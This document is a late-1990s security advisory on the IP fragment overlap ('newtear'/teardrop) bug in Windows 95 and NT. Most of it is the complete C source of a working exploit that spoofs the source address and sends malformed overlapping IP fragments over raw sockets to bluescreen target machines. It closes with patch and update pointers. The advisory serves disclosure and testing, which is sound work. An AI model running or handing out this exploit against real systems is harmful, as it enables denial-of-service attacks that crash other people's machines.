COMMAND

    IP fragment overlap

SYSTEMS AFFECTED

    Win95, Win NT

PROBLEM

    Since  the  source  for  BORK.C  (see  IP fragment overlap #2) has
    already been posted, and it is slightly different from the  source
    Jiva DeVoe used to find  the exploit originally, and because  MANY
    people  have  mentioned  that  they  would  have  wanted source to
    test/verify  this  problem,  here's  his  source here as well just
    to make sure  that both issues  are fully resolved.   You must  be
    ROOT on a unix machine to open raw sockets.  It randomly hits  all
    sorts of high  numbered ports.   Nothing needs to  be listening on
    these ports, nothing needs to be running on them.

    /*  Newtear.c
     *  Seemingly, a new teardrop type exploit. Affects NT4, and Win95.
     *
     *  Discovered 01/08/1998
     *
     *  Updated notes:
     *      This is a new version of teardrop.  It affects NT 4 and  Win95
     *      machines  with  all  current  patches  and hotfixes.  Causes a
     *      bluescreen  in   both  operating   systems.    Linux   appears
     *      unaffected, other *NIXes untested.  Differences are:
     *
     *      Smaller padding data size (20 bytes instead of 28 in  previous
     *      teardrop) Faked  out UDP  total length.   (Increased  reported
     *      UDP length to twice what it really is)
     *
     *
     *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
     *
     *  Linux/NT/95 Overlap frag bug exploit
     *
     *  Exploits the overlapping IP fragment bug present in all Linux kernels and
     *  NT 4.0 / Windows 95 (others?)
     *
     *  Based off of:   flip.c by klepto
     *  Compiles on:    Linux, *BSD*
     *
     *  gcc -O2 teardrop.c -o teardrop
     *      OR
     *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>

    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                            /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.
                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;

        fprintf(stderr, "teardrop   route|daemon9\n\n");

        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }

        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */
                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;

        fprintf(stderr, "Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\n", count);
        fprintf(stderr, "[ ");

        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            fprintf(stderr, "b00m ");
            usleep(500);
        }
        fprintf(stderr, "]\n");
        return (0);
    }

    /*
     *  Send two IP fragments with pathological offsets.  We use an implementation
     *  independent way of assembling network packets that does not rely on any of
     *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
     */

    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */

        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;

        /*
         * Grab some memory for our packet, align p_ptr to point at the beginning
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero

        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel */
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* UDP total length */ /* Increases UDP total length to 48 bytes
                                                         Which is too big! */

        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }

        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will
         *  do, but to crash NT/95 machines, a bit larger of packet seems to work
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);

        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }

    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;

        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }

    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
                name);
        exit(0);
    }

SOLUTION

    The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386  and
    Alpha platforms, postSP3 only. For links check the:

        http://www.ntbugtraq.com/ntfixes.asp

    page with the Language set  to USA, version to NT40,  processor as
    required, SP  version to  SP3 then  click the  "New" radio button.
    You may try standard MS location as well:

        ftp://ftp.microsoft.com
        /bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
        /bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/

    Windows 95 without Winsock installed is not vulnerable.  All other
    versions of Windows 95 should update to Winsock 2.  Microsoft  has
    released an update called the  "Winsock 2 update" for Windows  95.
    According to Microsoft, this  update contains fixes for  all known
    vulnerabilities in the Windows 95 TCP/IP stack.  Get it at:

        www.microsoft.com/windows95/info/ws2.htm

    Windows 98  RC0 (release  candidate 0)  contains all  known TCP/IP
    updates, and is not vulnerable to this attack.